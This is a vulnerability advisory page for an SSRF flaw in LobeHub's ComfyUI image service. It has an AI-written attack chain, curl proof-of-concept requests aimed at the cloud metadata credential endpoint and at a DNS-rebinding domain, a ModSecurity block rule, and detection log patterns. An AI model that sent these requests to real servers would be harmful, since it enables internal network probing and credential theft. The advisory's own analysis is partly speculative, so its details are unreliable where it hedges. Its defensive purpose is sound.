CVE Professor
/
All CVEs
CVE-2026-142235

CVE-2026-142235 — CWE-918

MEDIUM CVSS 4.3 NVD

LobeHub before 2.3.6 contains a server-side request forgery vulnerability in the ComfyUI image service processImageFetch function that allows authenticated users with file:upload permission to send server requests by supplying a crafted imageUrl. Attackers can call the comfyui.createImage tRPC procedure to make GET requests to loopback, private network, and cloud metadata addresses, reading back responses that are valid images.

LobeHub before 2.3.6 contains a server-side request forgery vulnerability in the ComfyUI image service processImageFetch function that allows authenticated users with file:upload permission to send server requests by supplying a crafted imageUrl. Attackers can call the comfyui.createImage tRPC procedure to make GET requests to loopback, private network, and cloud metadata addresses, reading back responses that are valid images.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-142235 is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in LobeHub versions prior to 2.3.6.

The technical flaw resides in the processImageFetch function within the ComfyUI image service. The application fails to properly validate the imageUrl parameter supplied by the user before initiating a server-side HTTP GET request. Specifically, the validation logic likely only checks for standard public HTTP/HTTPS schemes or relies on a flawed allowlist that fails to block:
1. Loopback addresses (127.0.0.1, localhost, ::1).
2. Private IP ranges (RFC 1918: 10.x.x.x, 172.16.x.x–172.31.x.x, 192.168.x.x).
3. Cloud Metadata Service endpoints (e.g., 169.254.169.254 for AWS, GCP, Azure).

The vulnerability is authenticated (PR:L), requiring a user with the file:upload permission. The impact is limited to Confidentiality (C:L) because the application only returns data if the response is a valid image. This means an attacker cannot directly read arbitrary text files or source code, but can exfiltrate data by encoding sensitive information into image formats (e.g., PNG metadata, pixel data) or by accessing internal services that return image-based responses (e.g., internal dashboards, health checks returning images, or specific API endpoints that return base64-encoded data in image containers).

Key Technical Detail: The use of tRPC (comfyui.createImage) implies the request is sent via a JSON-RPC-like protocol over HTTP, likely to an endpoint such as /api/trpc/comfyui.createImage. The imageUrl field in the request body is the injection point.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Fingerprinting: Identify LobeHub instances. Look for specific headers, UI elements, or API endpoints unique to LobeHub.
  • Version Check: Determine if the version is < 2.3.6. This can be done via:
  • * Checking the X-Powered-By header or version-specific assets. * Querying the tRPC router for version info (if exposed). * Attempting to exploit known version-specific bugs.
  • Authentication: Obtain valid credentials for a user with file:upload permission. This could be via:
  • * Social engineering or credential stuffing. * A compromised low-privilege account. * An API key with sufficient scope.

    2. Exploitation

    The attacker crafts a tRPC request to the comfyui.createImage procedure, supplying a malicious imageUrl that points to an internal resource.

    Illustrative PoC (curl):
    Note: The exact tRPC endpoint path and payload structure are illustrative based on common tRPC patterns. The CVE description confirms the procedure name comfyui.createImage and the parameter imageUrl.

    # Example: Attempting to access AWS Metadata Service
    # The attacker expects the server to fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/
    # However, since the response must be a valid image, this direct attempt may fail unless the internal service returns an image.
    # A more likely target is an internal service that returns an image, or using a technique to exfiltrate data via image metadata.
    
    curl -X POST "https://<target-labhub-instance>/api/trpc/comfyui.createImage" \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer <valid_user_token>" \
      -d '{
        "json": {
          "imageUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
          "width": 1024,
          "height": 1024
        }
      }'

    Refined Exploitation Strategy for Data Exfiltration:
    Since the response must be a valid image, direct SSRF to text-based endpoints (like metadata) will likely fail or return an error. The attacker must target:
    1. Internal Image Services: Access internal dashboards, monitoring tools (e.g., Grafana, Prometheus) that render charts as images.
    2. Data Encoding: If the internal service allows URL parameters, the attacker might encode sensitive data into the URL and have the server fetch it, but the response must be an image. This is tricky.
    3. Blind SSRF with Image Validation Bypass: Some SSRF filters check the Content-Type of the response. If the internal service returns image/png but contains sensitive data in the pixel values or metadata, the attacker can decode it.
    4. DNS Rebinding: Use a DNS rebinding attack to bypass IP-based filters. The attacker registers a domain that resolves to a public IP initially, then to an internal IP (e.g., 127.0.0.1) on subsequent requests. The server fetches the URL, the DNS resolves to the internal IP, and the server sends the request internally.

    Example of DNS Rebinding PoC (Conceptual):

    # Using a DNS rebinding service (e.g., rebinding.io)
    # The domain "rebind.example.com" resolves to 8.8.8.8 first, then 127.0.0.1
    curl -X POST "https://<target-labhub-instance>/api/trpc/comfyui.createImage" \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer <valid_user_token>" \
      -d '{
        "json": {
          "imageUrl": "http://rebind.example.com/internal-secret-image.png",
          "width": 1024,
          "height": 1024
        }
      }'

    3. Post-Exploitation

  • Data Exfiltration: If the internal service returns an image containing sensitive data (e.g., a screenshot of a confidential document, a chart with sensitive metrics), the attacker can download and analyze the image.
  • Internal Network Mapping: By probing different internal IPs and ports, the attacker can map the internal network topology.
  • Lateral Movement: If the internal service has vulnerabilities (e.g., an unpatched internal web app), the attacker might use the SSRF to trigger further exploits, though this is limited by the "valid image" constraint.
  • Cloud Credential Theft: If the cloud metadata service returns data in a format that can be interpreted as an image (unlikely but possible with custom scripts), the attacker could steal IAM credentials. More realistically, they can use the SSRF to trigger actions on internal services that accept image uploads or process images, potentially leading to RCE if the image processing library is vulnerable (e.g., ImageMagick exploits).
  • 🌍 Real World Impact

  • Confidentiality (C:L): Moderate. An attacker can access internal services that return image data. This could include:
  • * Internal monitoring dashboards (Grafana, Kibana) that render charts. * Internal file storage systems that serve images. * Cloud metadata endpoints (if the response can be coerced into an image format, which is rare but possible with specific configurations). * Sensitive data encoded in image metadata (EXIF, XMP) if the internal service allows such uploads.
  • Integrity (I:N): None. The vulnerability does not allow modification of data.
  • Availability (A:N): None. The vulnerability does not allow denial of service.
  • Practical Consequences:
  • * Data Leakage: Exposure of internal business metrics, user data, or system configurations via internal dashboards. * Network Reconnaissance: Mapping of internal IP addresses and open ports. * Cloud Security Risk: Potential exposure of cloud infrastructure details, though direct credential theft is unlikely due to the image constraint. * Compliance Violations: Breach of data privacy regulations (GDPR, HIPAA) if sensitive user data is exposed via internal images.

    🛡️ Remediation & Mitigation

    1. Upgrade

  • Upgrade LobeHub to version 2.3.6 or later. This is the primary and most effective fix. The patch likely includes:
  • * Strict validation of the imageUrl parameter to block private IP ranges, loopback addresses, and metadata endpoints. * Use of a secure URL parser that resolves DNS and checks the IP address before making the request. * Implementation of an allowlist for external domains.

    2. Workarounds (If Immediate Upgrade is Not Possible)

  • Network Segmentation: Isolate the LobeHub server from internal networks and cloud metadata endpoints. Use a proxy that only allows outbound traffic to specific external domains.
  • Disable ComfyUI Image Service: If the ComfyUI image service is not critical, disable it in the LobeHub configuration.
  • Restrict file:upload Permission: Limit the file:upload permission to trusted users only.
  • WAF Rules: Implement Web Application Firewall rules to block requests to the comfyui.createImage tRPC endpoint if the imageUrl parameter contains private IP ranges or metadata endpoints.
  • Example ModSecurity Rule (Illustrative):

    # Block SSRF attempts in LobeHub ComfyUI image service
    SecRule REQUEST_URI "@contains /api/trpc/comfyui.createImage" \
        "id:100001,phase:2,log,pass"
    
    SecRule JSON:json.imageUrl "@rx ^http://(127\.0\.0\.1|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)" \
        "id:100002,phase:2,log,deny,status:403,msg:'SSRF attempt detected in LobeHub ComfyUI'"

    3. Detection

  • Web Server Logs: Monitor for requests to /api/trpc/comfyui.createImage with imageUrl parameters containing:
  • * 127.0.0.1, localhost, ::1 * 10.x.x.x, 172.16.x.x–172.31.x.x, 192.168.x.x * 169.254.169.254 * Unusual domain names that resolve to internal IPs (DNS rebinding).
  • Application Logs: Check LobeHub logs for errors related to image fetching, such as "Failed to fetch image" or "Invalid image format."
  • Network Traffic: Monitor outbound traffic from the LobeHub server to internal IP ranges and cloud metadata endpoints.
  • Example Log Pattern (Apache/Nginx):

    POST /api/trpc/comfyui.createImage HTTP/1.1
    Content-Type: application/json
    {"json":{"imageUrl":"http://169.254.169.254/latest/meta-data/","width":1024,"height":1024}}

    ⚠️ Urgency

  • CVSS Score: 4.3 (MEDIUM)
  • CISA KEV: No
  • Exploit Complexity: Low (AC:L)
  • Authentication Required: Yes (PR:L)
  • Priority: Medium. While the CVSS score is medium, the vulnerability allows access to internal resources, which can have significant business impact. It is not a critical RCE or unauthenticated vulnerability, but it should be patched promptly, especially in environments where internal services contain sensitive data.
  • Recommendation: Patch within 30 days for most environments. If the LobeHub instance is exposed to the internet and contains sensitive internal data, patch within 7 days.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-142235
Technical reference / advisory repository for CVE-2026-142235
Technical reference / advisory repository for CVE-2026-142235
Technical reference / advisory repository for CVE-2026-142235
CVSS Score
4.3 / 10 · CVSS MEDIUM
Weakness Types (CWE)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated
8.4
CVE-2026-81137
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Server-Side Request Fo
7.1
CVE-2026-144453
AgentCrew before 0.25.1 contains a server-side request forgery and local file read vulnerability that allows m